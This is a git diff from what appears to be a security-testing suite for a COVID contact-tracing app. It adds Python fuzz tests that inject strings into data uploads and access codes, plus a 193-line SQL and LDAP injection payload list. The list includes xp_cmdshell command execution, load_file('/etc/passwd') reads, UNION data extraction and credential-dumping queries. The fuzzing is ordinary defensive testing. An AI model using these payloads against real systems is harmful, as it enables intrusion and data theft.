app.login_as_contact_tracer("spladmin", "password") + + #load base data + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + #load fuzz patterns + with open("xplatform.txt") as file_in: + lines = [] + for fuzz in file_in: + code = app.get_an_access_code() + app.user_consent(code) + try: + # insert the SQL injection at a random location in the payload + new_payload = json.dumps(obj).replace('time', fuzz) + result = app.upload_data_expect_error(code, new_payload) + except Exception as e: + tb = traceback.format_exc() + print(tb) + try: + print(result['response'].read()) + except: + pass + + + def sqlfuzz_upload_lon(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + + #load base data + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + #load fuzz patterns + with open("xplatform.txt") as file_in: + lines = [] + for fuzz in file_in: + code = app.get_an_access_code() + app.user_consent(code) + try: + # insert the SQL injection at a random location in the payload + new_payload = json.dumps(obj).replace('-0.11477509793272855', fuzz) + result = app.upload_data_expect_error(code, new_payload) + except Exception as e: + tb = traceback.format_exc() + print(tb) + try: + print(result['response'].read()) + except: + pass + + def test_sqlfuzz_access_code(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + + #load base data + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + #load fuzz patterns + with open("xplatform.txt") as file_in: + for fuzz in file_in: + code = app.get_an_access_code() + app.user_consent_expect_error(fuzz) + + def happy_path(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + code = app.get_an_access_code() + app.user_consent(code) + + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + app.upload_data(code, obj) diff --git a/dynamic_testing/SQLInjection/xplatform.txt b/dynamic_testing/SQLInjection/xplatform.txt new file mode 100644 index 0000000..1e23c5c --- /dev/null +++ b/dynamic_testing/SQLInjection/xplatform.txt @@ -0,0 +1,193 @@ +<>"'%;)(&+ +| +! +? +/ +// +//* +' +' -- +( +) +*| +*/* +& +0 +031003000270000 +0 or 1=1 +0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) +0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A +0x77616974666F722064656C61792027303A303A31302700 exec(@s) +1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; +1 or 1=1 +1;SELECT%20* +1 waitfor delay '0:0:10'-- +'%20or%20''=' +'%20or%201=1 +')%20or%20('x'='x +'%20or%20'x'='x +%20or%20x=x +%20'sleep%2050' +%20$(sleep%2050) +%21 +23 OR 1=1 +%26 +%27%20or%201=1 +%28 +%29 +%2A%28%7C%28mail%3D%2A%29%29 +%2A%28%7C%28objectclass%3D%2A%29%29 +%2A%7C +||6 +'||'6 +(||6) +%7C +a' +admin' or ' +' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); +' and 1 in (select var from temp)-- +anything' OR 'x'='x +"a"" or 1=1--" +a' or 1=1-- +"a"" or 3=3--" +a' or 3=3-- +a' or 'a' = 'a +'%20OR +as +asc +a' waitfor delay '0:0:10'-- +'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > +bfilename +char%4039%41%2b%40SELECT +declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) +declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) +declare @q nvarchar (4000) select @q = +declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) +declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) +declare @s varchar(22) select @s = +declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e +delete +desc +distinct +'||(elt(-3+5,bin(15),ord(10),hex(char(45)))) +'; exec master..xp_cmdshell +'; exec master..xp_cmdshell 'ping 172.10.1.255'-- +exec(@s) +'; exec ('sel' + 'ect us' + 'er') +exec sp +'; execute immediate 'sel' || 'ect us' || 'er' +exec xp +'; exec xp_regread +' group by userid having 1=1-- +handler +having +' having 1=1-- +hi or 1=1 --" +hi' or 1=1 -- +"hi"") or (""a""=""a" +hi or a=a +hi' or 'a'='a +hi') or ('a'='a +'hi' or 'x'='x'; +insert +like +limit +*(|(mail=*)) +*(|(objectclass=*)) +or +' or ''=' + or 0=0 #" +' or 0=0 -- +' or 0=0 # +" or 0=0 -- +or 0=0 -- +or 0=0 # +' or 1 --' +' or 1/* +; or '1'='1' +' or '1'='1 +' or '1'='1'-- +' or 1=1 +' or 1=1 /* +' or 1=1-- +' or 1=1-- +'/**/or/**/1/**/=/**/1 +‘ or 1=1 -- +" or 1=1-- +or 1=1 +or 1=1-- + or 1=1 or ""= +' or 1=1 or ''=' +' or 1 in (select @@version)-- +or%201=1 +or%201=1 -- +' or 2 > 1 +' or 2 between 1 and 3 +' or 3=3 +‘ or 3=3 -- +' or '7659'='7659 + or a=a + or a = a +' or 'a'='a +' or a=a-- +') or ('a'='a +" or "a"="a +) or (a=a +order by +' or (EXISTS) + or isNULL(1/0) /* +" or isNULL(1/0) /* +' or 'something' like 'some%' +' or 'something' = 'some'+'thing' +' or 'text' = n'text' +' or 'text' > 't' +' or uid like '% +' or uname like '% +' or 'unusual' = 'unusual' +' or userid like '% +' or user like '% +' or username like '% +' or username like char(37); +' or 'whatever' in ('whatever') +' -- &password= +password:*/=1-- +PRINT +PRINT @@variable +procedure +replace +select +' select * from information_schema.tables-- +' select name from syscolumns where id = (select id from sysobjects where name = tablename')-- +' (select top 1 +--sp_password +'sqlattempt1 +(sqlattempt2) +'sqlvuln +'+sqlvuln +(sqlvuln) +sqlvuln; +t'exec master..xp_cmdshell 'nslookup www.google.com'-- +to_timestamp_tz +truncate +tz_offset +' UNION ALL SELECT +' union all select @@version-- +' union select +uni/**/on sel/**/ect +' UNION SELECT +' union select 1,load_file('/etc/passwd'),1,1,1; +) union select * from information_schema.tables; +' union select * from users where login = char(114,111,111,116); +update +'||UTL_HTTP.REQUEST +,@variable +@variable +@var select @var as var into temp end -- +\x27UNION SELECT +x' AND 1=(SELECT COUNT(*) FROM tabname); -- +x' AND email IS NULL; -- +x' AND members.email IS NULL; -- +x' AND userid IS NULL; -- +x' or 1=1 or 'x'='y +x' OR full_name LIKE '%Bob% +ý or 1=1 --